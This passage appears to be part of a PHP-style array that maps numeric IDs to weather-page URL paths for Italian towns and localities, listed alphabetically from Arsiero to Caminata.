\"/meteo/Arsiero\",357 => \"/meteo/Arsita\",358 => \"/meteo/Arsoli\",359 => \"/meteo/Arta+terme\",360 => \"/meteo/Artegna\",361 => \"/meteo/Artena\",8338 => \"/meteo/Artesina\",362 => \"/meteo/Artogne\",363 => \"/meteo/Arvier\",364 => \"/meteo/Arzachena\",365 => \"/meteo/Arzago+d'Adda\",366 => \"/meteo/Arzana\",367 => \"/meteo/Arzano\",368 => \"/meteo/Arzene\",369 => \"/meteo/Arzergrande\",370 => \"/meteo/Arzignano\",371 => \"/meteo/Ascea\",8513 => \"/meteo/Asciano\",8198 => \"/meteo/Asciano+Pisano\",373 => \"/meteo/Ascoli+piceno\",374 => \"/meteo/Ascoli+satriano\",375 => \"/meteo/Ascrea\",376 => \"/meteo/Asiago\",377 => \"/meteo/Asigliano+Veneto\",378 => \"/meteo/Asigliano+vercellese\",379 => \"/meteo/Asola\",380 => \"/meteo/Asolo\",8438 => \"/meteo/Aspio+terme\",381 => \"/meteo/Assago\",382 => \"/meteo/Assemini\",8488 => \"/meteo/Assergi\",8448 => \"/meteo/Assergi+casello\",383 => \"/meteo/Assisi\",384 => \"/meteo/Asso\",385 => \"/meteo/Assolo\",386 => \"/meteo/Assoro\",387 => \"/meteo/Asti\",388 => \"/meteo/Asuni\",389 => \"/meteo/Ateleta\",8383 => \"/meteo/Atella\",391 => \"/meteo/Atena+lucana\",392 => \"/meteo/Atessa\",393 => \"/meteo/Atina\",394 => \"/meteo/Atrani\",395 => \"/meteo/Atri\",396 => \"/meteo/Atripalda\",397 => \"/meteo/Attigliano\",398 => \"/meteo/Attimis\",399 => \"/meteo/Atzara\",400 => \"/meteo/Auditore\",401 => \"/meteo/Augusta\",402 => \"/meteo/Auletta\",403 => \"/meteo/Aulla\",404 => \"/meteo/Aurano\",405 => \"/meteo/Aurigo\",406 => \"/meteo/Auronzo+di+cadore\",407 => \"/meteo/Ausonia\",408 => \"/meteo/Austis\",409 => \"/meteo/Avegno\",410 => \"/meteo/Avelengo\",411 => \"/meteo/Avella\",412 => \"/meteo/Avellino\",413 => \"/meteo/Averara\",414 => \"/meteo/Aversa\",415 => \"/meteo/Avetrana\",416 => \"/meteo/Avezzano\",417 => \"/meteo/Aviano\",418 => \"/meteo/Aviatico\",419 => \"/meteo/Avigliana\",420 => \"/meteo/Avigliano\",421 => \"/meteo/Avigliano+umbro\",422 => \"/meteo/Avio\",423 => \"/meteo/Avise\",424 => \"/meteo/Avola\",425 => \"/meteo/Avolasca\",426 => \"/meteo/Ayas\",427 => \"/meteo/Aymavilles\",428 => \"/meteo/Azeglio\",429 => \"/meteo/Azzanello\",430 => \"/meteo/Azzano+d'Asti\",431 => \"/meteo/Azzano+decimo\",432 => \"/meteo/Azzano+mella\",433 => \"/meteo/Azzano+San+Paolo\",434 => \"/meteo/Azzate\",435 => \"/meteo/Azzio\",436 => \"/meteo/Azzone\",437 => \"/meteo/Baceno\",438 => \"/meteo/Bacoli\",439 => \"/meteo/Badalucco\",440 => \"/meteo/Badesi\",441 => \"/meteo/Badia\",442 => \"/meteo/Badia+calavena\",443 => \"/meteo/Badia+pavese\",444 => \"/meteo/Badia+polesine\",445 => \"/meteo/Badia+tedalda\",446 => \"/meteo/Badolato\",447 => \"/meteo/Bagaladi\",448 => \"/meteo/Bagheria\",449 => \"/meteo/Bagnacavallo\",450 => \"/meteo/Bagnara+calabra\",451 => \"/meteo/Bagnara+di+romagna\",452 => \"/meteo/Bagnaria\",453 => \"/meteo/Bagnaria+arsa\",454 => \"/meteo/Bagnasco\",455 => \"/meteo/Bagnatica\",456 => \"/meteo/Bagni+di+Lucca\",8699 => \"/meteo/Bagni+di+Vinadio\",457 => \"/meteo/Bagno+a+Ripoli\",458 => \"/meteo/Bagno+di+Romagna\",459 => \"/meteo/Bagnoli+del+Trigno\",460 => \"/meteo/Bagnoli+di+sopra\",461 => \"/meteo/Bagnoli+irpino\",462 => \"/meteo/Bagnolo+cremasco\",463 => \"/meteo/Bagnolo+del+salento\",464 => \"/meteo/Bagnolo+di+po\",465 => \"/meteo/Bagnolo+in+piano\",466 => \"/meteo/Bagnolo+Mella\",467 => \"/meteo/Bagnolo+Piemonte\",468 => \"/meteo/Bagnolo+San+Vito\",469 => \"/meteo/Bagnone\",470 => \"/meteo/Bagnoregio\",471 => \"/meteo/Bagolino\",8123 => \"/meteo/Baia+Domizia\",472 => \"/meteo/Baia+e+Latina\",473 => \"/meteo/Baiano\",474 => \"/meteo/Baiardo\",475 => \"/meteo/Bairo\",476 => \"/meteo/Baiso\",477 => \"/meteo/Balangero\",478 => \"/meteo/Baldichieri+d'Asti\",479 => \"/meteo/Baldissero+canavese\",480 => \"/meteo/Baldissero+d'Alba\",481 => \"/meteo/Baldissero+torinese\",482 => \"/meteo/Balestrate\",483 => \"/meteo/Balestrino\",484 => \"/meteo/Ballabio\",485 => \"/meteo/Ballao\",486 => \"/meteo/Balme\",487 => \"/meteo/Balmuccia\",488 => \"/meteo/Balocco\",489 => \"/meteo/Balsorano\",490 => \"/meteo/Balvano\",491 => \"/meteo/Balzola\",492 => \"/meteo/Banari\",493 => \"/meteo/Banchette\",494 => \"/meteo/Bannio+anzino\",8368 => \"/meteo/Banzi\",496 => \"/meteo/Baone\",497 => \"/meteo/Baradili\",8415 => \"/meteo/Baragiano\",499 => \"/meteo/Baranello\",500 => \"/meteo/Barano+d'Ischia\",501 => \"/meteo/Barasso\",502 => \"/meteo/Baratili+San+Pietro\",503 => \"/meteo/Barbania\",504 => \"/meteo/Barbara\",505 => \"/meteo/Barbarano+romano\",506 => \"/meteo/Barbarano+vicentino\",507 => \"/meteo/Barbaresco\",508 => \"/meteo/Barbariga\",509 => \"/meteo/Barbata\",510 => \"/meteo/Barberino+di+mugello\",511 => \"/meteo/Barberino+val+d'elsa\",512 => \"/meteo/Barbianello\",513 => \"/meteo/Barbiano\",514 => \"/meteo/Barbona\",515 => \"/meteo/Barcellona+pozzo+di+Gotto\",516 => \"/meteo/Barchi\",517 => \"/meteo/Barcis\",518 => \"/meteo/Bard\",519 => \"/meteo/Bardello\",520 => \"/meteo/Bardi\",521 => \"/meteo/Bardineto\",522 => \"/meteo/Bardolino\",523 => \"/meteo/Bardonecchia\",524 => \"/meteo/Bareggio\",525 => \"/meteo/Barengo\",526 => \"/meteo/Baressa\",527 => \"/meteo/Barete\",528 => \"/meteo/Barga\",529 => \"/meteo/Bargagli\",530 => \"/meteo/Barge\",531 => \"/meteo/Barghe\",532 => \"/meteo/Bari\",8274 => \"/meteo/Bari+Palese\",533 => \"/meteo/Bari+sardo\",534 => \"/meteo/Bariano\",535 => \"/meteo/Baricella\",8402 => \"/meteo/Barile\",537 => \"/meteo/Barisciano\",538 => \"/meteo/Barlassina\",539 => \"/meteo/Barletta\",540 => \"/meteo/Barni\",541 => \"/meteo/Barolo\",542 => \"/meteo/Barone+canavese\",543 => \"/meteo/Baronissi\",544 => \"/meteo/Barrafranca\",545 => \"/meteo/Barrali\",546 => \"/meteo/Barrea\",8745 => \"/meteo/Barricata\",547 => \"/meteo/Barumini\",548 => \"/meteo/Barzago\",549 => \"/meteo/Barzana\",550 => \"/meteo/Barzano'\",551 => \"/meteo/Barzio\",552 => \"/meteo/Basaluzzo\",553 => \"/meteo/Bascape'\",554 => \"/meteo/Baschi\",555 => \"/meteo/Basciano\",556 => \"/meteo/Baselga+di+Pine'\",557 => \"/meteo/Baselice\",558 => \"/meteo/Basiano\",559 => \"/meteo/Basico'\",560 => \"/meteo/Basiglio\",561 => \"/meteo/Basiliano\",562 => \"/meteo/Bassano+bresciano\",563 => \"/meteo/Bassano+del+grappa\",564 => \"/meteo/Bassano+in+teverina\",565 => \"/meteo/Bassano+romano\",566 => \"/meteo/Bassiano\",567 => \"/meteo/Bassignana\",568 => \"/meteo/Bastia\",569 => \"/meteo/Bastia+mondovi'\",570 => \"/meteo/Bastida+de'+Dossi\",571 => \"/meteo/Bastida+pancarana\",572 => \"/meteo/Bastiglia\",573 => \"/meteo/Battaglia+terme\",574 => \"/meteo/Battifollo\",575 => \"/meteo/Battipaglia\",576 => \"/meteo/Battuda\",577 => \"/meteo/Baucina\",578 => \"/meteo/Bauladu\",579 => \"/meteo/Baunei\",580 => \"/meteo/Baveno\",581 => \"/meteo/Bazzano\",582 => \"/meteo/Bedero+valcuvia\",583 => \"/meteo/Bedizzole\",584 => \"/meteo/Bedollo\",585 => \"/meteo/Bedonia\",586 => \"/meteo/Bedulita\",587 => \"/meteo/Bee\",588 => \"/meteo/Beinasco\",589 => \"/meteo/Beinette\",590 => \"/meteo/Belcastro\",591 => \"/meteo/Belfiore\",592 => \"/meteo/Belforte+all'Isauro\",593 => \"/meteo/Belforte+del+chienti\",594 => \"/meteo/Belforte+monferrato\",595 => \"/meteo/Belgioioso\",596 => \"/meteo/Belgirate\",597 => \"/meteo/Bella\",598 => \"/meteo/Bellagio\",8263 => \"/meteo/Bellamonte\",599 => \"/meteo/Bellano\",600 => \"/meteo/Bellante\",601 => \"/meteo/Bellaria+Igea+marina\",602 => \"/meteo/Bellegra\",603 => \"/meteo/Bellino\",604 => \"/meteo/Bellinzago+lombardo\",605 => \"/meteo/Bellinzago+novarese\",606 => \"/meteo/Bellizzi\",607 => \"/meteo/Bellona\",608 => \"/meteo/Bellosguardo\",609 => \"/meteo/Belluno\",610 => \"/meteo/Bellusco\",611 => \"/meteo/Belmonte+calabro\",612 => \"/meteo/Belmonte+castello\",613 => \"/meteo/Belmonte+del+sannio\",614 => \"/meteo/Belmonte+in+sabina\",615 => \"/meteo/Belmonte+mezzagno\",616 => \"/meteo/Belmonte+piceno\",617 => \"/meteo/Belpasso\",8573 => \"/meteo/Belpiano+Schoeneben\",618 => \"/meteo/Belsito\",8265 => \"/meteo/Belvedere\",619 => \"/meteo/Belvedere+di+Spinello\",620 => \"/meteo/Belvedere+langhe\",621 => \"/meteo/Belvedere+marittimo\",622 => \"/meteo/Belvedere+ostrense\",623 => \"/meteo/Belveglio\",624 => \"/meteo/Belvi\",625 => \"/meteo/Bema\",626 => \"/meteo/Bene+lario\",627 => \"/meteo/Bene+vagienna\",628 => \"/meteo/Benestare\",629 => \"/meteo/Benetutti\",630 => \"/meteo/Benevello\",631 => \"/meteo/Benevento\",632 => \"/meteo/Benna\",633 => \"/meteo/Bentivoglio\",634 => \"/meteo/Berbenno\",635 => \"/meteo/Berbenno+di+valtellina\",636 => \"/meteo/Berceto\",637 => \"/meteo/Berchidda\",638 => \"/meteo/Beregazzo+con+Figliaro\",639 => \"/meteo/Bereguardo\",640 => \"/meteo/Bergamasco\",641 => \"/meteo/Bergamo\",8519 => \"/meteo/Bergamo+città+alta\",8497 => \"/meteo/Bergamo+Orio+al+Serio\",642 => \"/meteo/Bergantino\",643 => \"/meteo/Bergeggi\",644 => \"/meteo/Bergolo\",645 => \"/meteo/Berlingo\",646 => \"/meteo/Bernalda\",647 => \"/meteo/Bernareggio\",648 => \"/meteo/Bernate+ticino\",649 => \"/meteo/Bernezzo\",650 => \"/meteo/Berra\",651 => \"/meteo/Bersone\",652 => \"/meteo/Bertinoro\",653 => \"/meteo/Bertiolo\",654 => \"/meteo/Bertonico\",655 => \"/meteo/Berzano+di+San+Pietro\",656 => \"/meteo/Berzano+di+Tortona\",657 => \"/meteo/Berzo+Demo\",658 => \"/meteo/Berzo+inferiore\",659 => \"/meteo/Berzo+San+Fermo\",660 => \"/meteo/Besana+in+brianza\",661 => \"/meteo/Besano\",662 => \"/meteo/Besate\",663 => \"/meteo/Besenello\",664 => \"/meteo/Besenzone\",665 => \"/meteo/Besnate\",666 => \"/meteo/Besozzo\",667 => \"/meteo/Bessude\",668 => \"/meteo/Bettola\",669 => \"/meteo/Bettona\",670 => \"/meteo/Beura+Cardezza\",671 => \"/meteo/Bevagna\",672 => \"/meteo/Beverino\",673 => \"/meteo/Bevilacqua\",674 => \"/meteo/Bezzecca\",675 => \"/meteo/Biancavilla\",676 => \"/meteo/Bianchi\",677 => \"/meteo/Bianco\",678 => \"/meteo/Biandrate\",679 => \"/meteo/Biandronno\",680 => \"/meteo/Bianzano\",681 => \"/meteo/Bianze'\",682 => \"/meteo/Bianzone\",683 => \"/meteo/Biassono\",684 => \"/meteo/Bibbiano\",685 => \"/meteo/Bibbiena\",686 => \"/meteo/Bibbona\",687 => \"/meteo/Bibiana\",8230 => \"/meteo/Bibione\",688 => \"/meteo/Biccari\",689 => \"/meteo/Bicinicco\",690 => \"/meteo/Bidoni'\",691 => \"/meteo/Biella\",8163 => \"/meteo/Bielmonte\",692 => \"/meteo/Bienno\",693 => \"/meteo/Bieno\",694 => \"/meteo/Bientina\",695 => \"/meteo/Bigarello\",696 => \"/meteo/Binago\",697 => \"/meteo/Binasco\",698 => \"/meteo/Binetto\",699 => \"/meteo/Bioglio\",700 => \"/meteo/Bionaz\",701 => \"/meteo/Bione\",702 => \"/meteo/Birori\",703 => \"/meteo/Bisaccia\",704 => \"/meteo/Bisacquino\",705 => \"/meteo/Bisceglie\",706 => \"/meteo/Bisegna\",707 => \"/meteo/Bisenti\",708 => \"/meteo/Bisignano\",709 => \"/meteo/Bistagno\",710 => \"/meteo/Bisuschio\",711 => \"/meteo/Bitetto\",712 => \"/meteo/Bitonto\",713 => \"/meteo/Bitritto\",714 => \"/meteo/Bitti\",715 => \"/meteo/Bivona\",716 => \"/meteo/Bivongi\",717 => \"/meteo/Bizzarone\",718 => \"/meteo/Bleggio+inferiore\",719 => \"/meteo/Bleggio+superiore\",720 => \"/meteo/Blello\",721 => \"/meteo/Blera\",722 => \"/meteo/Blessagno\",723 => \"/meteo/Blevio\",724 => \"/meteo/Blufi\",725 => \"/meteo/Boara+Pisani\",726 => \"/meteo/Bobbio\",727 => \"/meteo/Bobbio+Pellice\",728 => \"/meteo/Boca\",8501 => \"/meteo/Bocca+di+Magra\",729 => \"/meteo/Bocchigliero\",730 => \"/meteo/Boccioleto\",731 => \"/meteo/Bocenago\",732 => \"/meteo/Bodio+Lomnago\",733 => \"/meteo/Boffalora+d'Adda\",734 => \"/meteo/Boffalora+sopra+Ticino\",735 => \"/meteo/Bogliasco\",736 => \"/meteo/Bognanco\",8287 => \"/meteo/Bognanco+fonti\",737 => \"/meteo/Bogogno\",738 => \"/meteo/Boissano\",739 => \"/meteo/Bojano\",740 => \"/meteo/Bolano\",741 => \"/meteo/Bolbeno\",742 => \"/meteo/Bolgare\",743 => \"/meteo/Bollate\",744 => \"/meteo/Bollengo\",745 => \"/meteo/Bologna\",8476 => \"/meteo/Bologna+Borgo+Panigale\",746 => \"/meteo/Bolognano\",747 => \"/meteo/Bolognetta\",748 => \"/meteo/Bolognola\",749 => \"/meteo/Bolotana\",750 => \"/meteo/Bolsena\",751 => \"/meteo/Boltiere\",8505 => \"/meteo/Bolzaneto\",752 => \"/meteo/Bolzano\",753 => \"/meteo/Bolzano+novarese\",754 => \"/meteo/Bolzano+vicentino\",755 => \"/meteo/Bomarzo\",756 => \"/meteo/Bomba\",757 => \"/meteo/Bompensiere\",758 => \"/meteo/Bompietro\",759 => \"/meteo/Bomporto\",760 => \"/meteo/Bonarcado\",761 => \"/meteo/Bonassola\",762 => \"/meteo/Bonate+sopra\",763 => \"/meteo/Bonate+sotto\",764 => \"/meteo/Bonavigo\",765 => \"/meteo/Bondeno\",766 => \"/meteo/Bondo\",767 => \"/meteo/Bondone\",768 => \"/meteo/Bonea\",769 => \"/meteo/Bonefro\",770 => \"/meteo/Bonemerse\",771 => \"/meteo/Bonifati\",772 => \"/meteo/Bonito\",773 => \"/meteo/Bonnanaro\",774 => \"/meteo/Bono\",775 => \"/meteo/Bonorva\",776 => \"/meteo/Bonvicino\",777 => \"/meteo/Borbona\",778 => \"/meteo/Borca+di+cadore\",779 => \"/meteo/Bordano\",780 => \"/meteo/Bordighera\",781 => \"/meteo/Bordolano\",782 => \"/meteo/Bore\",783 => \"/meteo/Boretto\",784 => \"/meteo/Borgarello\",785 => \"/meteo/Borgaro+torinese\",786 => \"/meteo/Borgetto\",787 => \"/meteo/Borghetto+d'arroscia\",788 => \"/meteo/Borghetto+di+borbera\",789 => \"/meteo/Borghetto+di+vara\",790 => \"/meteo/Borghetto+lodigiano\",791 => \"/meteo/Borghetto+Santo+Spirito\",792 => \"/meteo/Borghi\",793 => \"/meteo/Borgia\",794 => \"/meteo/Borgiallo\",795 => \"/meteo/Borgio+Verezzi\",796 => \"/meteo/Borgo+a+Mozzano\",797 => \"/meteo/Borgo+d'Ale\",798 => \"/meteo/Borgo+di+Terzo\",8159 => \"/meteo/Borgo+d`Ale\",799 => \"/meteo/Borgo+Pace\",800 => \"/meteo/Borgo+Priolo\",801 => \"/meteo/Borgo+San+Dalmazzo\",802 => \"/meteo/Borgo+San+Giacomo\",803 => \"/meteo/Borgo+San+Giovanni\",804 => \"/meteo/Borgo+San+Lorenzo\",805 => \"/meteo/Borgo+San+Martino\",806 => \"/meteo/Borgo+San+Siro\",807 => \"/meteo/Borgo+Ticino\",808 => \"/meteo/Borgo+Tossignano\",809 => \"/meteo/Borgo+Val+di+Taro\",810 => \"/meteo/Borgo+Valsugana\",811 => \"/meteo/Borgo+Velino\",812 => \"/meteo/Borgo+Vercelli\",813 => \"/meteo/Borgoforte\",814 => \"/meteo/Borgofranco+d'Ivrea\",815 => \"/meteo/Borgofranco+sul+Po\",816 => \"/meteo/Borgolavezzaro\",817 => \"/meteo/Borgomale\",818 => \"/meteo/Borgomanero\",819 => \"/meteo/Borgomaro\",820 => \"/meteo/Borgomasino\",821 => \"/meteo/Borgone+susa\",822 => \"/meteo/Borgonovo+val+tidone\",823 => \"/meteo/Borgoratto+alessandrino\",824 => \"/meteo/Borgoratto+mormorolo\",825 => \"/meteo/Borgoricco\",826 => \"/meteo/Borgorose\",827 => \"/meteo/Borgosatollo\",828 => \"/meteo/Borgosesia\",829 => \"/meteo/Bormida\",830 => \"/meteo/Bormio\",8334 => \"/meteo/Bormio+2000\",8335 => \"/meteo/Bormio+3000\",831 => \"/meteo/Bornasco\",832 => \"/meteo/Borno\",833 => \"/meteo/Boroneddu\",834 => \"/meteo/Borore\",835 => \"/meteo/Borrello\",836 => \"/meteo/Borriana\",837 => \"/meteo/Borso+del+Grappa\",838 => \"/meteo/Bortigali\",839 => \"/meteo/Bortigiadas\",840 => \"/meteo/Borutta\",841 => \"/meteo/Borzonasca\",842 => \"/meteo/Bosa\",843 => \"/meteo/Bosaro\",844 => \"/meteo/Boschi+Sant'Anna\",845 => \"/meteo/Bosco+Chiesanuova\",846 => \"/meteo/Bosco+Marengo\",847 => \"/meteo/Bosconero\",848 => \"/meteo/Boscoreale\",849 => \"/meteo/Boscotrecase\",850 => \"/meteo/Bosentino\",851 => \"/meteo/Bosia\",852 => \"/meteo/Bosio\",853 => \"/meteo/Bosisio+Parini\",854 => \"/meteo/Bosnasco\",855 => \"/meteo/Bossico\",856 => \"/meteo/Bossolasco\",857 => \"/meteo/Botricello\",858 => \"/meteo/Botrugno\",859 => \"/meteo/Bottanuco\",860 => \"/meteo/Botticino\",861 => \"/meteo/Bottidda\",8655 => \"/meteo/Bourg+San+Bernard\",862 => \"/meteo/Bova\",863 => \"/meteo/Bova+marina\",864 => \"/meteo/Bovalino\",865 => \"/meteo/Bovegno\",866 => \"/meteo/Boves\",867 => \"/meteo/Bovezzo\",868 => \"/meteo/Boville+Ernica\",869 => \"/meteo/Bovino\",870 => \"/meteo/Bovisio+Masciago\",871 => \"/meteo/Bovolenta\",872 => \"/meteo/Bovolone\",873 => \"/meteo/Bozzole\",874 => \"/meteo/Bozzolo\",875 => \"/meteo/Bra\",876 => \"/meteo/Bracca\",877 => \"/meteo/Bracciano\",878 => \"/meteo/Bracigliano\",879 => \"/meteo/Braies\",880 => \"/meteo/Brallo+di+Pregola\",881 => \"/meteo/Brancaleone\",882 => \"/meteo/Brandico\",883 => \"/meteo/Brandizzo\",884 => \"/meteo/Branzi\",885 => \"/meteo/Braone\",8740 => \"/meteo/Bratto\",886 => \"/meteo/Brebbia\",887 => \"/meteo/Breda+di+Piave\",888 => \"/meteo/Bregano\",889 => \"/meteo/Breganze\",890 => \"/meteo/Bregnano\",891 => \"/meteo/Breguzzo\",892 => \"/meteo/Breia\",8724 => \"/meteo/Breithorn\",893 => \"/meteo/Brembate\",894 => \"/meteo/Brembate+di+sopra\",895 => \"/meteo/Brembilla\",896 => \"/meteo/Brembio\",897 => \"/meteo/Breme\",898 => \"/meteo/Brendola\",899 => \"/meteo/Brenna\",900 => \"/meteo/Brennero\",901 => \"/meteo/Breno\",902 => \"/meteo/Brenta\",903 => \"/meteo/Brentino+Belluno\",904 => \"/meteo/Brentonico\",905 => \"/meteo/Brenzone\",906 => \"/meteo/Brescello\",907 => \"/meteo/Brescia\",8547 => \"/meteo/Brescia+Montichiari\",908 => \"/meteo/Bresimo\",909 => \"/meteo/Bressana+Bottarone\",910 => \"/meteo/Bressanone\",911 => \"/meteo/Bressanvido\",912 => \"/meteo/Bresso\",8226 => \"/meteo/Breuil-Cervinia\",913 => \"/meteo/Brez\",914 => \"/meteo/Brezzo+di+Bedero\",915 => \"/meteo/Briaglia\",916 => \"/meteo/Briatico\",917 => \"/meteo/Bricherasio\",918 => \"/meteo/Brienno\",919 => \"/meteo/Brienza\",920 => \"/meteo/Briga+alta\",921 => \"/meteo/Briga+novarese\",923 => \"/meteo/Brignano+Frascata\",922 => \"/meteo/Brignano+Gera+d'Adda\",924 => \"/meteo/Brindisi\",8358 => \"/meteo/Brindisi+montagna\",8549 => \"/meteo/Brindisi+Papola+Casale\",926 => \"/meteo/Brinzio\",927 => \"/meteo/Briona\",928 => \"/meteo/Brione\",929 => \"/meteo/Brione\",930 => \"/meteo/Briosco\",931 => \"/meteo/Brisighella\",932 => \"/meteo/Brissago+valtravaglia\",933 => \"/meteo/Brissogne\",934 => \"/meteo/Brittoli\",935 => \"/meteo/Brivio\",936 => \"/meteo/Broccostella\",937 => \"/meteo/Brogliano\",938 => \"/meteo/Brognaturo\",939 => \"/meteo/Brolo\",940 => \"/meteo/Brondello\",941 => \"/meteo/Broni\",942 => \"/meteo/Bronte\",943 => \"/meteo/Bronzolo\",944 => \"/meteo/Brossasco\",945 => \"/meteo/Brosso\",946 => \"/meteo/Brovello+Carpugnino\",947 => \"/meteo/Brozolo\",948 => \"/meteo/Brugherio\",949 => \"/meteo/Brugine\",950 => \"/meteo/Brugnato\",951 => \"/meteo/Brugnera\",952 => \"/meteo/Bruino\",953 => \"/meteo/Brumano\",954 => \"/meteo/Brunate\",955 => \"/meteo/Brunello\",956 => \"/meteo/Brunico\",957 => \"/meteo/Bruno\",958 => \"/meteo/Brusaporto\",959 => \"/meteo/Brusasco\",960 => \"/meteo/Brusciano\",961 => \"/meteo/Brusimpiano\",962 => \"/meteo/Brusnengo\",963 => \"/meteo/Brusson\",8645 => \"/meteo/Brusson+2000+Estoul\",964 => \"/meteo/Bruzolo\",965 => \"/meteo/Bruzzano+Zeffirio\",966 => \"/meteo/Bubbiano\",967 => \"/meteo/Bubbio\",968 => \"/meteo/Buccheri\",969 => \"/meteo/Bucchianico\",970 => \"/meteo/Bucciano\",971 => \"/meteo/Buccinasco\",972 => \"/meteo/Buccino\",973 => \"/meteo/Bucine\",974 => \"/meteo/Budduso'\",975 => \"/meteo/Budoia\",976 => \"/meteo/Budoni\",977 => \"/meteo/Budrio\",978 => \"/meteo/Buggerru\",979 => \"/meteo/Buggiano\",980 => \"/meteo/Buglio+in+Monte\",981 => \"/meteo/Bugnara\",982 => \"/meteo/Buguggiate\",983 => \"/meteo/Buia\",984 => \"/meteo/Bulciago\",985 => \"/meteo/Bulgarograsso\",986 => \"/meteo/Bultei\",987 => \"/meteo/Bulzi\",988 => \"/meteo/Buonabitacolo\",989 => \"/meteo/Buonalbergo\",990 => \"/meteo/Buonconvento\",991 => \"/meteo/Buonvicino\",992 => \"/meteo/Burago+di+Molgora\",993 => \"/meteo/Burcei\",994 => \"/meteo/Burgio\",995 => \"/meteo/Burgos\",996 => \"/meteo/Buriasco\",997 => \"/meteo/Burolo\",998 => \"/meteo/Buronzo\",8483 => \"/meteo/Burrino\",999 => \"/meteo/Busachi\",1000 => \"/meteo/Busalla\",1001 => \"/meteo/Busana\",1002 => \"/meteo/Busano\",1003 => \"/meteo/Busca\",1004 => \"/meteo/Buscate\",1005 => \"/meteo/Buscemi\",1006 => \"/meteo/Buseto+Palizzolo\",1007 => \"/meteo/Busnago\",1008 => \"/meteo/Bussero\",1009 => \"/meteo/Busseto\",1010 => \"/meteo/Bussi+sul+Tirino\",1011 => \"/meteo/Busso\",1012 => \"/meteo/Bussolengo\",1013 => \"/meteo/Bussoleno\",1014 => \"/meteo/Busto+Arsizio\",1015 => \"/meteo/Busto+Garolfo\",1016 => \"/meteo/Butera\",1017 => \"/meteo/Buti\",1018 => \"/meteo/Buttapietra\",1019 => \"/meteo/Buttigliera+alta\",1020 => \"/meteo/Buttigliera+d'Asti\",1021 => \"/meteo/Buttrio\",1022 => \"/meteo/Ca'+d'Andrea\",1023 => \"/meteo/Cabella+ligure\",1024 => \"/meteo/Cabiate\",1025 => \"/meteo/Cabras\",1026 => \"/meteo/Caccamo\",1027 => \"/meteo/Caccuri\",1028 => \"/meteo/Cadegliano+Viconago\",1029 => \"/meteo/Cadelbosco+di+sopra\",1030 => \"/meteo/Cadeo\",1031 => \"/meteo/Caderzone\",8566 => \"/meteo/Cadipietra\",1032 => \"/meteo/Cadoneghe\",1033 => \"/meteo/Cadorago\",1034 => \"/meteo/Cadrezzate\",1035 => \"/meteo/Caerano+di+San+Marco\",1036 => \"/meteo/Cafasse\",1037 => \"/meteo/Caggiano\",1038 => \"/meteo/Cagli\",1039 => \"/meteo/Cagliari\",8500 => \"/meteo/Cagliari+Elmas\",1040 => \"/meteo/Caglio\",1041 => \"/meteo/Cagnano+Amiterno\",1042 => \"/meteo/Cagnano+Varano\",1043 => \"/meteo/Cagno\",1044 => \"/meteo/Cagno'\",1045 => \"/meteo/Caianello\",1046 => \"/meteo/Caiazzo\",1047 => \"/meteo/Caines\",1048 => \"/meteo/Caino\",1049 => \"/meteo/Caiolo\",1050 => \"/meteo/Cairano\",1051 => \"/meteo/Cairate\",1052 => \"/meteo/Cairo+Montenotte\",1053 => \"/meteo/Caivano\",8168 => \"/meteo/Cala+Gonone\",1054 => \"/meteo/Calabritto\",1055 => \"/meteo/Calalzo+di+cadore\",1056 => \"/meteo/Calamandrana\",1057 => \"/meteo/Calamonaci\",1058 => \"/meteo/Calangianus\",1059 => \"/meteo/Calanna\",1060 => \"/meteo/Calasca+Castiglione\",1061 => \"/meteo/Calascibetta\",1062 => \"/meteo/Calascio\",1063 => \"/meteo/Calasetta\",1064 => \"/meteo/Calatabiano\",1065 => \"/meteo/Calatafimi\",1066 => \"/meteo/Calavino\",1067 => \"/meteo/Calcata\",1068 => \"/meteo/Calceranica+al+lago\",1069 => \"/meteo/Calci\",8424 => \"/meteo/Calciano\",1071 => \"/meteo/Calcinaia\",1072 => \"/meteo/Calcinate\",1073 => \"/meteo/Calcinato\",1074 => \"/meteo/Calcio\",1075 => \"/meteo/Calco\",1076 => \"/meteo/Caldaro+sulla+strada+del+vino\",1077 => \"/meteo/Caldarola\",1078 => \"/meteo/Calderara+di+Reno\",1079 => \"/meteo/Caldes\",1080 => \"/meteo/Caldiero\",1081 => \"/meteo/Caldogno\",1082 => \"/meteo/Caldonazzo\",1083 => \"/meteo/Calendasco\",8614 => \"/meteo/Calenella\",1084 => \"/meteo/Calenzano\",1085 => \"/meteo/Calestano\",1086 => \"/meteo/Calice+al+Cornoviglio\",1087 => \"/meteo/Calice+ligure\",8692 => \"/meteo/California+di+Lesmo\",1088 => \"/meteo/Calimera\",1089 => \"/meteo/Calitri\",1090 => \"/meteo/Calizzano\",1091 => \"/meteo/Callabiana\",1092 => \"/meteo/Calliano\",1093 => \"/meteo/Calliano\",1094 => \"/meteo/Calolziocorte\",1095 => \"/meteo/Calopezzati\",1096 => \"/meteo/Calosso\",1097 => \"/meteo/Caloveto\",1098 => \"/meteo/Caltabellotta\",1099 => \"/meteo/Caltagirone\",1100 => \"/meteo/Caltanissetta\",1101 => \"/meteo/Caltavuturo\",1102 => \"/meteo/Caltignaga\",1103 => \"/meteo/Calto\",1104 => \"/meteo/Caltrano\",1105 => \"/meteo/Calusco+d'Adda\",1106 => \"/meteo/Caluso\",1107 => \"/meteo/Calvagese+della+Riviera\",1108 => \"/meteo/Calvanico\",1109 => \"/meteo/Calvatone\",8406 => \"/meteo/Calvello\",1111 => \"/meteo/Calvene\",1112 => \"/meteo/Calvenzano\",8373 => \"/meteo/Calvera\",1114 => \"/meteo/Calvi\",1115 => \"/meteo/Calvi+dell'Umbria\",1116 => \"/meteo/Calvi+risorta\",1117 => \"/meteo/Calvignano\",1118 => \"/meteo/Calvignasco\",1119 => \"/meteo/Calvisano\",1120 => \"/meteo/Calvizzano\",1121 => \"/meteo/Camagna+monferrato\",1122 => \"/meteo/Camaiore\",1123 => \"/meteo/Camairago\",1124 => \"/meteo/Camandona\",1125 => \"/meteo/Camastra\",1126 => \"/meteo/Cambiago\",1127 => \"/meteo/Cambiano\",1128 => \"/meteo/Cambiasca\",1129 => \"/meteo/Camburzano\",1130 => \"/meteo/Camerana\",1131 => \"/meteo/Camerano\",1132 => \"/meteo/Camerano+Casasco\",1133 => \"/meteo/Camerata+Cornello\",1134 => \"/meteo/Camerata+Nuova\",1135 => \"/meteo/Camerata+picena\",1136 => \"/meteo/Cameri\",1137 => \"/meteo/Camerino\",1138 => \"/meteo/Camerota\",1139 => \"/meteo/Camigliano\",8119 => \"/meteo/Camigliatello+silano\",1140 => \"/meteo/Caminata\",1141 => 